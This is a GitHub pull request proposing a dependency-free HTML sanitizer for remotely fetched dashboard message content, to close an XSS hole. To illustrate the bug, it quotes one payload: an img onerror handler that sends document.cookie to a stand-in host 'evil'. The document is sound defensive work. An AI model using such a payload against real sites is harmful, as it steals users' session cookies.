Skip to content

fix: sanitize remote message content to prevent XSS - #1047

Open
Lakshya77089 wants to merge 1 commit into
bastienwirtz:mainfrom
Lakshya77089:fix/message-xss-sanitize
Open

Lakshya77089 wants to merge 1 commit into
bastienwirtz:mainfrom
Lakshya77089:fix/message-xss-sanitize

Conversation

@Lakshya77089

Copy link
Copy Markdown
Contributor

What

The dashboard "message" can fetch its content from a remote endpoint (message.url), and that content is rendered with v-html in Message.vue. Right now the fetched content is injected as-is, with no sanitization.

Since the endpoint is a separate trust boundary from the user's own config.yml, a remote message endpoint can return markup such as:

{ "content": "<img src=x onerror=\"fetch('https://evil/'+document.cookie)\">" }

and run arbitrary JavaScript in the dashboard origin (XSS). This is easy to hit in practice because people often point the message at a third-party/shared status service.

Fix

  • Add a small, dependency-free sanitizer (src/utils/sanitize.js) that:
    • removes script/style/iframe/object/embed/link tags and HTML comments,
    • strips inline event handlers (on*),
    • drops href/src values that aren't http(s):, mailto:, relative, or # anchors (blocking javascript: / data:).
  • Run it on the content fetched from the endpoint in Message.vue.

HTML set directly in the local config.yml is the user's own trusted input and is intentionally left untouched, so the documented "content accepts HTML" behavior keeps working.

Notes

  • pnpm lint and pnpm build both pass.
  • I kept this dependency-free on purpose to match the project's minimal footprint; happy to switch to DOMPurify instead if you'd prefer a battle-tested library.

The dashboard message supports fetching its content from a remote URL
(message.url), and that content is rendered with v-html in Message.vue.
Content coming from an endpoint is outside of the user's own config and
should be treated as untrusted - a remote endpoint could return markup
like <img src=x onerror=...> and run arbitrary JS in the dashboard.

Add a small dependency-free sanitizer that strips script/style/iframe
and similar tags, inline event handlers, and javascript:/data: URLs,
and run it on the content fetched from the endpoint. HTML set directly
in the local config keeps working unchanged.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant